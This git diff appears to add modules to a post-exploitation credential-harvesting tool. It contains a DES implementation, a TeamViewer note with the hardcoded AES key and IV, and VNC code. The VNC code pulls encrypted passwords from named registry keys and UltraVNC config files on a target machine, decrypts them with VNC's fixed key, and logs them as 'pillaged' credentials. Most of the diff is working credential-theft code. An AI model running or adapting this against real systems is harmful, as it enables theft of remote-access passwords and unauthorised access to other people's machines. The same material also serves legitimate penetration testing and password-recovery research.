0x42000100, 0x40080100, + 0x02000100, 0x40000000, 0x42080000, 0x02080100, + 0x40080100, 0x00000100, 0x02000000, 0x42080000, + 0x42080100, 0x00080100, 0x42000000, 0x42080100, + 0x02080000, 0x00000000, 0x40080000, 0x42000000, + 0x00080100, 0x02000100, 0x40000100, 0x00080000, + 0x00000000, 0x40080000, 0x02080100, 0x40000100 +] + +SP6 = [ + 0x20000010, 0x20400000, 0x00004000, 0x20404010, + 0x20400000, 0x00000010, 0x20404010, 0x00400000, + 0x20004000, 0x00404010, 0x00400000, 0x20000010, + 0x00400010, 0x20004000, 0x20000000, 0x00004010, + 0x00000000, 0x00400010, 0x20004010, 0x00004000, + 0x00404000, 0x20004010, 0x00000010, 0x20400010, + 0x20400010, 0x00000000, 0x00404010, 0x20404000, + 0x00004010, 0x00404000, 0x20404000, 0x20000000, + 0x20004000, 0x00000010, 0x20400010, 0x00404000, + 0x20404010, 0x00400000, 0x00004010, 0x20000010, + 0x00400000, 0x20004000, 0x20000000, 0x00004010, + 0x20000010, 0x20404010, 0x00404000, 0x20400000, + 0x00404010, 0x20404000, 0x00000000, 0x20400010, + 0x00000010, 0x00004000, 0x20400000, 0x00404010, + 0x00004000, 0x00400010, 0x20004010, 0x00000000, + 0x20404000, 0x20000000, 0x00400010, 0x20004010 +] + +SP7 = [ + 0x00200000, 0x04200002, 0x04000802, 0x00000000, + 0x00000800, 0x04000802, 0x00200802, 0x04200800, + 0x04200802, 0x00200000, 0x00000000, 0x04000002, + 0x00000002, 0x04000000, 0x04200002, 0x00000802, + 0x04000800, 0x00200802, 0x00200002, 0x04000800, + 0x04000002, 0x04200000, 0x04200800, 0x00200002, + 0x04200000, 0x00000800, 0x00000802, 0x04200802, + 0x00200800, 0x00000002, 0x04000000, 0x00200800, + 0x04000000, 0x00200800, 0x00200000, 0x04000802, + 0x04000802, 0x04200002, 0x04200002, 0x00000002, + 0x00200002, 0x04000000, 0x04000800, 0x00200000, + 0x04200800, 0x00000802, 0x00200802, 0x04200800, + 0x00000802, 0x04000002, 0x04200802, 0x04200000, + 0x00200800, 0x00000000, 0x00000002, 0x04200802, + 0x00000000, 0x00200802, 0x04200000, 0x00000800, + 0x04000002, 0x04000800, 0x00000800, 0x00200002 +] + +SP8 = [ + 0x10001040, 0x00001000, 0x00040000, 0x10041040, + 0x10000000, 0x10001040, 0x00000040, 0x10000000, + 0x00040040, 0x10040000, 0x10041040, 0x00041000, + 0x10041000, 0x00041040, 0x00001000, 0x00000040, + 0x10040000, 0x10000040, 0x10001000, 0x00001040, + 0x00041000, 0x00040040, 0x10040040, 0x10041000, + 0x00001040, 0x00000000, 0x00000000, 0x10040040, + 0x10000040, 0x10001000, 0x00041040, 0x00040000, + 0x00041040, 0x00040000, 0x10041000, 0x00001000, + 0x00000040, 0x10040040, 0x00001000, 0x00041040, + 0x10001000, 0x00000040, 0x10000040, 0x10040000, + 0x10040040, 0x10000000, 0x00040000, 0x10001040, + 0x00000000, 0x10041040, 0x00040040, 0x10000040, + 0x10040000, 0x10001000, 0x10001040, 0x00000000, + 0x10041040, 0x00041000, 0x00041000, 0x00001040, + 0x00001040, 0x00040040, 0x10000000, 0x10041000 +] + + +def desfunc(block, keys): + (leftt, right) = unpack('>II', block) + + work = ((leftt >> 4) ^ right) & 0x0f0f0f0f + right ^= work + leftt ^= (work << 4) + work = ((leftt >> 16) ^ right) & 0x0000ffff + right ^= work + leftt ^= (work << 16) + work = ((right >> 2) ^ leftt) & 0x33333333 + leftt ^= work + right ^= (work << 2) + work = ((right >> 8) ^ leftt) & 0x00ff00ff + leftt ^= work + right ^= (work << 8) + right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff + + for i in range(0, 32, 4): + work = (right << 28) | (right >> 4) + work ^= keys[i] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = right ^ keys[i+1] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + leftt ^= fval + work = (leftt << 28) | (leftt >> 4) + work ^= keys[i+2] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = leftt ^ keys[i+3] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + right ^= fval + + right = (right << 31) | (right >> 1) + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = (leftt << 31) | (leftt >> 1) + work = ((leftt >> 8) ^ right) & 0x00ff00ff + right ^= work + leftt ^= (work << 8) + work = ((leftt >> 2) ^ right) & 0x33333333 + right ^= work + leftt ^= (work << 2) + work = ((right >> 16) ^ leftt) & 0x0000ffff + leftt ^= work + right ^= (work << 16) + work = ((right >> 4) ^ leftt) & 0x0f0f0f0f + leftt ^= work + right ^= (work << 4) + + leftt &= 0xffffffff + right &= 0xffffffff + return pack('>II', right, leftt) + + +# test +if __name__ == '__main__': + import binascii + key = binascii.unhexlify('0123456789abcdef') + plain = binascii.unhexlify('0123456789abcdef') + cipher = binascii.unhexlify('6e09a37726dd560c') + ek = deskey(key, False) + dk = deskey(key, True) + assert desfunc(plain, ek) == cipher + assert desfunc(desfunc(plain, ek), dk) == plain + assert desfunc(desfunc(plain, dk), ek) == plain + print('test succeeded.') diff --git a/software/sysadmin/teamviewer.py b/software/sysadmin/teamviewer.py new file mode 100644 index 0000000..bdd4385 --- /dev/null +++ b/software/sysadmin/teamviewer.py @@ -0,0 +1,8 @@ +''' +https://whynotsecurity.com/blog/teamviewer/ +TL;DR: TeamViewer stored user passwords encrypted with AES-128-CBC with they key of +key:0602000000a400005253413100040000 +IV:0100010067244F436E6762F25EA8D704 + + +''' \ No newline at end of file diff --git a/software/sysadmin/vnc-local.py b/software/sysadmin/vnc-local.py new file mode 100644 index 0000000..c5908bf --- /dev/null +++ b/software/sysadmin/vnc-local.py @@ -0,0 +1,79 @@ +# Code based on vncpasswd.py by trinitronx +# https://github.com/trinitronx/vncpasswd.py +import binascii +import codecs +import traceback + +import d3des as d + + +#from lazagne.config.winstructure import * + + + +class Vnc(): + def __init__(self): + self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + + + def split_len(self, seq, length): + return [seq[i:i + length] for i in range(0, len(seq), length)] + + def do_crypt(self, password, decrypt): + try: + print(f"[] decoding VNC 1 {password}") + passpadd = (password + b'\x00' * 8)[:8] + strkey = ''.join([chr(x) for x in self.vnckey]).encode() + print(f"[] decoding VNC {passpadd} : {strkey}") + key = d.deskey(strkey, decrypt) + crypted = d.desfunc(passpadd, key) + print(f"[] decoding VNC 2 {crypted}") + return crypted + except Exception as ex: + print( + f"[] exception in do_crypt") + print(ex) + def unhex(self, s): + try: + s = codecs.decode(s, 'hex') + except TypeError as e: + if e.message == 'Odd-length string': + print('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) + s = codecs.decode(s[:-1], 'hex') + else: + return False + return s + + def reverse_vncpassword(self, hash): + try: + encpasswd = self.unhex(hash) + pwd = None + if encpasswd: + # If the hex encoded passwd length is longer than 16 hex chars and divisible + # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) + # (1 hex char = 4 binary bits = 1 nibble) + hexpasswd = codecs.encode(encpasswd, 'hex') + if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: + splitstr = self.split_len(codecs.encode(hash, 'hex'), 16) + cryptedblocks = [] + for sblock in splitstr: + cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) + pwd = b''.join(cryptedblocks) + elif len(hexpasswd) <= 16: + pwd = self.do_crypt(encpasswd, True) + else: + pwd = self.do_crypt(encpasswd, True) + except Exception as ex: + print(f"Exception reverse_vncpassword {hash} ") + print(ex) + return pwd + + + + +if __name__ == "__main__": + hash="3571774C74336546BB000000000000000000" + #hash=binascii.unhexlify(hash) + a=Vnc() + a.reverse_vncpassword(hash=hash) + \ No newline at end of file diff --git a/software/sysadmin/vnc.py b/software/sysadmin/vnc.py new file mode 100644 index 0000000..c5a2dbf --- /dev/null +++ b/software/sysadmin/vnc.py @@ -0,0 +1,218 @@ +# Code based on vncpasswd.py by trinitronx +# https://github.com/trinitronx/vncpasswd.py +import binascii +import codecs +import traceback + +from . import d3des as d + +from lib.toolbox import bcolors + + +# from lazagne.config.winstructure import * + + +class Vnc(): + def __init__(self, myregops, myfileops, logger, options, db): + self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + + def split_len(self, seq, length): + return [seq[i:i + length] for i in range(0, len(seq), length)] + + def do_crypt(self, password, decrypt): + try: + self.logging.debug(f"[{self.options.target_ip}] decoding VNC 1 {password}") + passpadd = (password + b'\x00' * 8)[:8] + strkey = ''.join([chr(x) for x in self.vnckey]).encode() + self.logging.debug(f"[{self.options.target_ip}] decoding VNC {passpadd} : {strkey}") + key = d.deskey(strkey, decrypt) + crypted = d.desfunc(passpadd, key) + self.logging.debug(f"[{self.options.target_ip}] decoding VNC 2 {crypted}") + return crypted + except Exception as ex: + self.logging.error( + f"[{self.options.target_ip}] exception in do_crypt") + self.logging.debug(ex) + + def unhex(self, s): + try: + s = codecs.decode(s, 'hex') + except TypeError as e: + if e.message == 'Odd-length string': + self.logging.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) + s = codecs.decode(s[:-1], 'hex') + else: + return False + return s + + def reverse_vncpassword(self, hash): + try: + encpasswd = self.unhex(hash) + pwd = None + if encpasswd: + # If the hex encoded passwd length is longer than 16 hex chars and divisible + # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) + # (1 hex char = 4 binary bits = 1 nibble) + hexpasswd = codecs.encode(encpasswd, 'hex') + if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: + splitstr = self.split_len(codecs.encode(hash, 'hex'), 16) + cryptedblocks = [] + for sblock in splitstr: + cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) + pwd = b''.join(cryptedblocks) + elif len(hexpasswd) <= 16: + pwd = self.do_crypt(encpasswd, True) + else: + pwd = self.do_crypt(encpasswd, True) + except Exception as ex: + self.logging.debug(f"Exception reverse_vncpassword {hash} ") + self.logging.debug(ex) + return pwd + + def vnc_from_registry(self): + pfound = [] + vncs = ( + ('RealVNC 4.x', 'HKLM\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKLM\\SOFTWARE\\RealVNC\\vncserver', 'Password'), + ('RealVNC 4.x', 'HKLM\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 4.x', 'HKCU\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKCU\\Software\\ORL\\WinVNC3', 'Password'), + ('TightVNC', 'HKCU\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC', 'HKCU\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TightVNC', 'HKLM\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC ControlPassword', 'HKLM\\Software\\TightVNC\\Server', 'ControlPassword'), + ('TightVNC', 'HKLM\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TigerVNC', 'HKLM\\Software\\TigerVNC\\Server', 'Password'), + ('TigerVNC', 'HKCU\\Software\\TigerVNC\\Server', 'Password'), + ('TigerVNC', 'HKCU\\Software\\TigerVNC\\WinVNC4', 'Password'), + ) + + for vnc in vncs: + try: + reg_key = self.myregops.get_reg_value(vnc[1], vnc[2]) + mytype = reg_key[0] + myvalue = reg_key[1] + self.logging.debug( + f"[{self.options.target_ip}] Found VNC {vnc[0]} encoded password in reg {vnc[1]} : {myvalue}") + except Exception: + self.logging.debug(f'Problems with {vnc[0]}') + continue + + try: + enc_pwd = myvalue.rstrip('\x00') + self.logging.debug(f"[{self.options.target_ip}] Found VNC {vnc[0]} encoded password in reg {enc_pwd}") + # enc_pwd=myvalue + except Exception as ex: + self.logging.debug(f'Problems with decoding: {myvalue} - {binascii.hexlify(myvalue.encode("utf-8"))}') + self.logging.debug(ex) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + self.logging.info( + f"[{self.options.target_ip}] {bcolors.OKGREEN} [VNC] {bcolors.OKBLUE}{mytype} password : {bcolors.WARNING} {password} {bcolors.ENDC}") + except Exception: + self.logging.debug(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + ############PROCESSING DATA + self.db.add_credz(credz_type='VNC', + credz_username=vnc[0], + credz_password=password.decode('utf-8'), + credz_target=self.options.target_ip, + credz_path=vnc[1], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + return pfound + + def vnc_from_filesystem(self): + # os.environ could be used here because paths are identical between users + pfound = [] + vncs = ( + ('UltraVNC', 'ProgramFiles(x86)' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'PROGRAMFILES' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'PROGRAMFILES' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'ProgramFiles(x86)' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'Program Files (x86)' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'PROGRAM FILES' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'PROGRAM FILES' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')), + ('UltraVNC', 'Program Files (x86)' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')) + ) + + for vnc in vncs: + blacklist = ['.', '..'] + browser_path = vnc[1] + browser_name = vnc[0] + self.logging.debug( + f"[{self.options.target_ip}] [+] Looking for VNC {browser_name} Profile Files in {browser_path}") + try: + # Downloading profile file + localfile = self.myfileops.get_file(browser_path, allow_access_error=False) + if localfile != None: + self.logging.debug( + f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE} VNC {browser_name} config file : {browser_path}{bcolors.ENDC}") + else: + continue + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files from VNC {browser_name} - VNC doesn't exist{bcolors.ENDC}") + self.logging.debug(ex) + continue + + strings_to_match = vnc[2] + for string_to_match in strings_to_match: + string_to_match += '=' + enc_pwd = '' + try: + with open(localfile, 'r') as file: + for line in file: + if string_to_match in line: + enc_pwd = line.replace(string_to_match, '').replace('\n', '') + except Exception: + self.logging.debug(f'Problems with file: {localfile}') + continue + if len(enc_pwd) > 2: + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + self.logging.info( + f"[{self.options.target_ip}] {bcolors.OKBLUE} [VNC] {browser_name} password : {bcolors.WARNING} {password} {bcolors.ENDC}") + except Exception: + self.logging.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd)) + self.logging.debug(traceback.format_exc()) + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + ############PROCESSING DATA + self.db.add_credz(credz_type='VNC', + credz_username=vnc[0], + credz_password=password.decode('utf-8'), + credz_target='', + credz_path=vnc[1], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + + return pfound + + def vnc_from_process(self): + # Not yet implemented + return [] + + def run(self): + return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()